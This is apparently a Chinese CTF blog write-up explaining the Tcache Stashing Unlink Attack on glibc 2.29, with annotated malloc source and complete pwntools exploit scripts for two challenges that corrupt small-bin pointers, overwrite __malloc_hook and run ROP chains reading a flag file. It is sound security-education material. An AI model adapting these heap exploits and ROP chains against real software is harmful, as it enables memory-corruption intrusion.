Tcache Stashing Unlink Attack

Tcache Stashing Unlink Attack

Tcache Stashing Unlink Attack就是calloc的分配不從tcache bin裏取chunk,calloc會遍歷fastbin、small bin、large bin,如果在tcache bin裏,對應的size的bin不爲空,則會將這些bin的chunk採用頭插法插入到tcache bin裏。首先,我們來看一下glibc 2.29的源碼。

  1. /* 
  2.      If a small request, check regular bin.  Since these "smallbins" 
  3.      hold one size each, no searching within bins is necessary. 
  4.      (For a large request, we need to wait until unsorted chunks are 
  5.      processed to find best fit. But for small ones, fits are exact 
  6.      anyway, so we can check now, which is faster.) 
  7.    */  
  8.   
  9.   if (in_smallbin_range (nb))  
  10.     {  
  11.       idx = smallbin_index (nb);  
  12.       bin = bin_at (av, idx);  
  13.   
  14.       if ((victim = last (bin)) != bin) //取該索引對應的small bin中最後一個chunk  
  15.         {  
  16.           bck = victim->bk;  //獲取倒數第二個chunk  
  17.       if (__glibc_unlikely (bck->fd != victim)) //檢查雙向鏈表完整性  
  18.         malloc_printerr ("malloc(): smallbin double linked list corrupted");  
  19.           set_inuse_bit_at_offset (victim, nb);  
  20.           bin->bk = bck; //victimsmall bin的鏈表中卸下  
  21.           bck->fd = bin;  
  22.   
  23.           if (av != &main_arena)  
  24.         set_non_main_arena (victim);  
  25.           check_malloced_chunk (av, victim, nb);  
  26. #if USE_TCACHE  
  27.       /* While we're here, if we see other chunks of the same size, 
  28.          stash them in the tcache.  */  
  29.       size_t tc_idx = csize2tidx (nb); //獲取對應sizetcache索引  
  30.       if (tcache && tc_idx < mp_.tcache_bins) //如果該索引在tcache bin範圍  
  31.         {  
  32.           mchunkptr tc_victim;  
  33.   
  34.           /* While bin not empty and tcache not full, copy chunks over.  */  
  35.           while (tcache->counts[tc_idx] < mp_.tcache_count  //tcache bin不爲空並且沒滿,並且small bin不爲空,則依次取最後一個chunk插入到tcache bin  
  36.              && (tc_victim = last (bin)) != bin)  
  37.         {  
  38.           if (tc_victim != 0)  
  39.             {  
  40.               bck = tc_victim->bk;  
  41.               set_inuse_bit_at_offset (tc_victim, nb);  
  42.               if (av != &main_arena)  
  43.             set_non_main_arena (tc_victim);  
  44.               bin->bk = bck; //將當前chunksmall bin裏卸下  
  45.               bck->fd = bin;  
  46.                       //放入tcache bin  
  47.               tcache_put (tc_victim, tc_idx);  
  48.                 }  
  49.         }  
  50.         }  
  51. #endif  
  52.           void *p = chunk2mem (victim);  
  53.           alloc_perturb (p, bytes);  
  54.           return p;  
  55.         }  
  56.     }  

如上,我們看到,從small bin中取出最後一個chunk的時候,對雙向鏈表做了完整性的檢查,然而,後面將剩餘chunk放入tcache bin的時候,卻沒有這個檢查。然後,bck->fd = bin;這句代碼,可以將bck->fd處寫一個main_arena地址。如果我們可以控制bck,那麼就能實現任意地址處寫一個main_arena的地址。同理,如果我們能夠控制small bin的bck,並且保證vuln_addr->fd = bck,那麼就能分配到vuln_addr處。

爲了加深理解,我們從兩道題來鞏固一下。

hitcon_ctf_2019_one_punch

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下

Delete功能沒有清空指針,可以double free。

以及UAF編輯

Add功能使用的是calloc分配,並且size的大小不在fastbin範圍,因此用不了fastbin attack。

後面函數裏使用malloc分配

但是要想利用後面函數,就得繞過if的檢查,而此處是一個堆地址,我們不能直接修改,我們可以利用Tcache Stashing Unlink Attack將此處寫一個main_arena地址,進而可以繞過if,執行malloc從tcache bin裏分配到目標處。此處,我們的目的僅僅是往那個堆地址處寫一個大於6的數據,在Tcache Stashing Unlink Attack時,會從small bin裏取chunk到tcache bin,直到tcache bin填滿,但是如果我們僞造了bck,第二次遍歷的時候就會發生錯誤,因爲目標處我們不可控。因此,我們只需要讓其只進行第一次的遍歷,那麼,我們就得事先將對應的tcache bin裏填滿6個。爲了繞過對small bin最後一個chunk的完整性檢查,我們不能僞造最後一個chunk的bck,而應該僞造倒數第二個chunk的bck。因此,我們需要保證在small bin裏有兩個chunk

然後通過calloc取出最後一個chunk時,發生Tcache Stashing,從而將目標處寫上一個main_arena地址。

  1. #0  
  2. add(0,'a'*0x218)  
  3. #1  
  4. add(1,'b'*0x80)  
  5. #1放入tcache bin 6次,剩餘1個空位  
  6. for i in range(6):  
  7.    delete(1)  
  8.    edit(1,'b'*0x10)  

接下來,泄露堆地址和glibc地址

  1. for i in range(6):  
  2.    delete(0)  
  3.    edit(0,'a'*0x10)  
  4. delete(0)  
  5. show(0)  
  6. sh.recvuntil('hero name: ')  
  7. heap_addr = u64(sh.recv(6).ljust(8,'\x00'))  
  8. print 'heap_addr=',hex(heap_addr)  
  9. edit(0,'a'*0x10)  
  10. #得到unsorted bin  
  11. delete(0)  
  12. show(0)  
  13. sh.recvuntil('hero name: ')  
  14. main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))  
  15. malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
  16. libc_base = malloc_hook_addr - malloc_hook_s  

接下來,我們需要得到兩個small bin。首先,得到第一個0x90的small bin

  1. #unsorted bin裏切割0x190,剩餘0x90  
  2. add(1,'a'*0x180)  
  3. #觸發malloc_consolidate整理unsorted bin,放入small bin  
  4. add(1,'a'*0x400)  
  5. #gap  
  6. add(2,'a'*0x100)  

接下來,得到我們第二個small bin。

  1. for i in range(7):  
  2.    delete(1)  
  3.    edit(1,'a'*0x10)  
  4. #1放入unsorted bin  
  5. delete(1)  
  6. #unsorted bin裏切割0x380,剩餘0x90  
  7. add(2,'a'*0x370)  
  8. #觸發malloc_consolidate整理unsorted bin,放入small bin  
  9. add(2,'a'*0x400)  

現在,我們要修改倒數第二個small bin的bk爲目標地址,然後實施tcache stashing attack

  1. #修改倒數第二個頭chunkbkfd不變  
  2. edit(1,'a'*0x370 + p64(0) + p64(0x91) + p64(heap_addr + 0x180) + p64(heap_addr + 0x20 - 0x260))  
  3. #Tcache Stashing Unlink Attack,目標地址處被寫入了small bin的地址,因此繞過了後面函數的驗證,現在可以調用後門函數了  
  4. add(1,'a'*0x80)  

現在,我們就可以調用後面函數了,那麼通過UAF僞造tcache bin的next指針,分配到目標處。我們可以改寫malloc_hook或者free_hook。如果沒有開沙箱的話,我們直接改寫爲one_gadget即可,如果開啦,我們改爲add rsp,0xXX,使得棧進入我們可控的buf區

#coding:utf8
from pwn import *

sh = process('./hitcon_ctf_2019_one_punch')
#sh = remote('node3.buuoj.cn',26885)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']

def add(index,content):
   sh.sendlineafter('>','1')
   sh.sendlineafter('idx:',str(index))
   sh.sendafter('hero name:',content)

def malloc(content):
   sh.sendlineafter('>','50056')
   sh.send(content)

def edit(index,content):
   sh.sendlineafter('>','2')
   sh.sendlineafter('idx:',str(index))
   sh.sendafter('hero name:',content)

def show(index):
   sh.sendlineafter('>','3')
   sh.sendlineafter('idx:',str(index))

def delete(index):
   sh.sendlineafter('>','4')
   sh.sendlineafter('idx:',str(index))

#0
add(0,'a'*0x218)
#1
add(1,'b'*0x80)
#1放入tcache bin 6次,剩餘1個空位
for i in range(6):
   delete(1)
   edit(1,'b'*0x10)

for i in range(6):
   delete(0)
   edit(0,'a'*0x10)
delete(0)
show(0)
sh.recvuntil('hero name: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,'a'*0x10)
#得到unsorted bin
delete(0)
show(0)
sh.recvuntil('hero name: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
add_rsp_48 = libc_base + 0x000000000008cfd6
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall_ret = libc_base + 0x000000000010D022
open_addr = libc_base + libc.sym['open']
read_addr = libc_base +  libc.sym['read']
write_addr = libc_base + libc.sym['write']

print 'libc_base=',hex(libc_base)
print 'add_rsp_48=',hex(add_rsp_48)
#從unsorted bin裏切割0x190,剩餘0x90
add(1,'a'*0x180)
#觸發malloc_consolidate整理unsorted bin,放入small bin
add(1,'a'*0x400)
#gap
add(2,'a'*0x100)

for i in range(7):
   delete(1)
   edit(1,'a'*0x10)
#1放入unsorted bin
delete(1)
#從unsorted bin裏切割0x380,剩餘0x90
add(2,'a'*0x370)
#觸發malloc_consolidate整理unsorted bin,放入small bin
add(2,'a'*0x400)
#修改倒數第二個頭chunk的bk,fd不變
edit(1,'a'*0x370 + p64(0) + p64(0x91) + p64(heap_addr + 0x180) + p64(heap_addr + 0x20 - 0x260))
#Tcache Stashing Unlink Attack,目標地址處被寫入了small bin的地址,因此繞過了後面函數的驗證,現在可以調用後門函數了
add(1,'a'*0x80)
#將malloc_hook鏈接到tcache bin
edit(0,p64(malloc_hook_addr))
malloc('/flag\x00')
flag_addr = heap_addr
#寫malloc_hook
malloc(p64(add_rsp_48))
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
#read(3,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#write(1,flag_addr,0x30)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
add(1,rop)

sh.interactive()

RedPacket_SoEasyPwn1

此題與上一題差不多,直接貼上exp

#coding:utf8
from pwn import *

#sh = process('./RedPacket_SoEasyPwn1')
sh = remote('node3.buuoj.cn',28039)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
open_s = libc.sym['open']
read_s = libc.sym['read']
puts_s = libc.sym['puts']

def add(index,size,content):
   sh.sendlineafter('Your input:','1')
   sh.sendlineafter('idx:',str(index))
   idx = 0
   if size == 0x10:
      idx = 1
   elif size == 0xF0:
      idx = 2
   elif size == 0x300:
      idx = 3
   elif size == 0x400:
      idx = 4
   else:
      raise Exception('error size')
   sh.sendlineafter('How much do you want?',str(idx))
   sh.sendafter('content:',content)

def delete(index):
   sh.sendlineafter('Your input:','2')
   sh.sendlineafter('idx:',str(index))

def edit(index,content):
   sh.sendlineafter('Your input:','3')
   sh.sendlineafter('idx:',str(index))
   sh.sendafter('content:',content)

def show(index):
   sh.sendlineafter('Your input:','4')
   sh.sendlineafter('idx:',str(index))

def stackOverflow(payload):
   sh.sendlineafter('Your input:','666')
   sh.sendafter('What do you want to say?',payload)

for i in range(8):
   add(i,0x400,'a')
#六個chunk用於放入0x100的tcache bin
for i in range(8,14):
   add(i,0xF0,'b')
#得到0x410大小的unsorted bin
for i in range(14):
   delete(i)
#泄露堆地址
show(1)
sh.recv(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露libc地址
show(7)
sh.recv(1)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
leave_ret = libc_base + 0x0000000000058373
open_addr = libc_base + open_s
read_addr = libc_base + read_s
puts_addr = libc_base + puts_s
print 'libc_base=',hex(libc_base)
rop_addr = heap_addr + 0x1F80
flag_addr = rop_addr + 0x78
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
#rop += '/flag'.ljust(8,'\x00')
rop += '/password.txt\x00'

#從0x410的unsorted bin裏切割一個0x310的空間,剩下的0x100的unsorted bin
add(0,0x300,'a')
#malloc一大的堆,使得unsorted bin裏的0x100的chunk放入small bin
add(0,0x400,'b')
#擋住top chunk,不能小於0x100,不然會從得到的small bin裏取,這樣我們前面就白費
add(1,0x400,'a')
#我們使用同樣的方法,來得到第二個0x100的unsorted bin
delete(0)
add(1,0x300,'a')
add(1,0x400,'b')
#修改第一個small bin的bk,指向目標地址
edit(0,'a'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x1F70) + p64(heap_addr - 0x1010 + 0x800 - 0x10))
#Tcache Stashing Unlink Attack,目標地址處被寫入了small bin的地址,因此繞過了後面函數的驗證,現在可以調用後面函數了
#我們順便將rop佈置在這個堆裏
add(2,0xF0,rop)
#棧遷移到我們的rop裏執行
stackOverflow('a'*0x80 + p64(rop_addr - 0x8) + p64(leave_ret))

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章